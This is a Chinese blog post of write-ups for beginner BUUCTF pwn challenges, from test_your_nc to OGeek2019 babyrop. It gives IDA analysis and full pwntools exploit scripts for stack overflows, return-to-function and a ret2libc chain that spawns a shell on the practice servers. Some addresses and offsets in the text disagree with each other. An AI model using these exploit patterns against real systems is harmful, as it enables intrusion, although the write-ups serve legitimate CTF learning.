Pwn_BUUCTF

5 篇文章 0 订阅

1.test_your_nc

直接 nc

cat flag

直接出flag,白给题

2.rip

IDA分析

看main:
在这里插入图片描述
直接进 getss
在这里插入图片描述

发现偏移:0xF + 8

写exp

paylode=a*(0xF+8)

回到 IDA 看到 “/bin/sh” 的地址 :40118A

在这里插入图片描述

写脚本
完整exp

from pwn import *

p=remote('node3.buuoj.cn',27019)

payload='a'*(0xf+8) + p64(0x40118A)

p.sendline(payload)

p.interactive()

运行

在这里插入图片描述
flag

2020.9.25 - 21:00

3.warmup_csaw_2016

IDA分析

在这里插入图片描述
在这里插入图片描述

找到flag.txt函数地址

40060D

接下去看 main

在这里插入图片描述
一开始我是 (0x80+8) ,后来师傅说是用后面的 gets(&v5); 来做返回。
所以这里的偏移应该是 v5 的空间。

paylode=‘a’*(0x40+8) + p64(0x40060D)

完整exp

from pwn import *

#p=process('')
p=remote('node3.buuoj.cn',27170)

payload='a'*(0x40+8) + p64(0x40060D)

p.sendline(payload)

p.interactive()

运行,出flag
在这里插入图片描述

4.pwn1_sctf_2016

IDA分析
是个32位程序

在这里插入图片描述
再gdb分析一波

在这里插入图片描述

输入 I 变成了 you , 有溢出

paylode=‘I’*0x14+‘a’*4

找到 flag 地址

在这里插入图片描述

0x8048F1F

完整exp

from pwn import *

#p=process('')
p=remote('node3.buuoj.cn',28696)

payload='I'*0x14+'a'*4 + p32(0x08048F0D)

p.sendline(payload)

p.interactive()

flag

5.ciscn_2019_n_1

IDA分析一波

在这里插入图片描述

要让 v2 = 11.28125

可以找到 11.28125 在程序中的表达

在这里插入图片描述

41348000h

func() 知道 v130hv24h
那么我们填充的字符数量就应该是 30h - 4h = 2c

在这里插入图片描述

写exp

from pwn import *

p=remote('node3.buuoj.cn',27434)

payload='a'*0x2c+p64(0x41348000)
p.recvuntil("Let's guess the number.")
p.sendline(payload)

p.interactive()

r.recvuntil("Let's guess the number.")

直到程序运行到括号里的字符串时停下

jarvisoj_level0

ida

在这里插入图片描述
跟进函数
在这里插入图片描述
发现一个可以栈溢出的点

在这里插入图片描述

并且题目给出了/bin/sh

easy
exp:

from pwn import *
p=remote('node3.buuoj.cn',25190)
payload = 'a'*0x88 + p64(0x400596)
p.sendline(payload)
p.interactive()

[OGeek2019]babyrop

libc 32

先ida分析

在这里插入图片描述

从第十行read看出buf是一个随机数,然后作为参数传入了11行的函数中,之后返回值赋值给v2,v2再传入了12行的函数中,我们先看看11行中的函数

在这里插入图片描述

只有结尾时return v5,同时有一个read可以让我们进行栈溢出,使v5变成我们想要的东西
我们再看下一个函数

在这里插入图片描述
让a1等于127我们就能利用read函数进行漏洞利用

所以在上一个函数我们要想办法让它返回127

后头看
在这里插入图片描述

buf传参给了a1,a1又给了s
v6为read的返回参数,若有输入,则返回长度
下面if拿传参进来的那个随机数和我们输入的字符进行比较,若是不相同则直接exit
所以这里我们可以用\x00来绕过strlen,使v1=0,因为strlen遇到\x00之后就会中断,这样到strncmp的时候就会直接跳过,因为长度为0了
在read输入\x00之后输入2C-25=7个的16进制的127就完成了栈溢出利用
exp:

# -*- coding:utf-8 -*-
from pwn import *
from LibcSearcher import *

p=remote('node3.buuoj.cn',28017)
#r=process('./pwn')
elf=ELF('./pwn')
write_plt=elf.plt['write']
read_got=elf.got['read']
read_plt=elf.plt['read']
main_addr=0x08048825#elf.symbols['main']

payload0 = '\x00'+'\xff'*7
p.sendline(payload0)


payload = 'a' * (0xe7+4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(read_got) + p32(0x8)
p.recvuntil('Correct\n')
p.sendline(payload)

read_addr = u32(p.recv(4))
print(hex(read_addr))

libc_bash = read_addr - 0x0d4350
sys_addr = libc_bash + 0x03a940
bin_sh = libc_bash + 0x15902b
p.sendline(payload0)

getshell = 'a'*(0xe7+4) + p32(sys_addr) + 'aaaa' + p32(bin_sh)

p.recvuntil('Correct\n')
p.sendline(getshell)
p.interactive()

参考

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值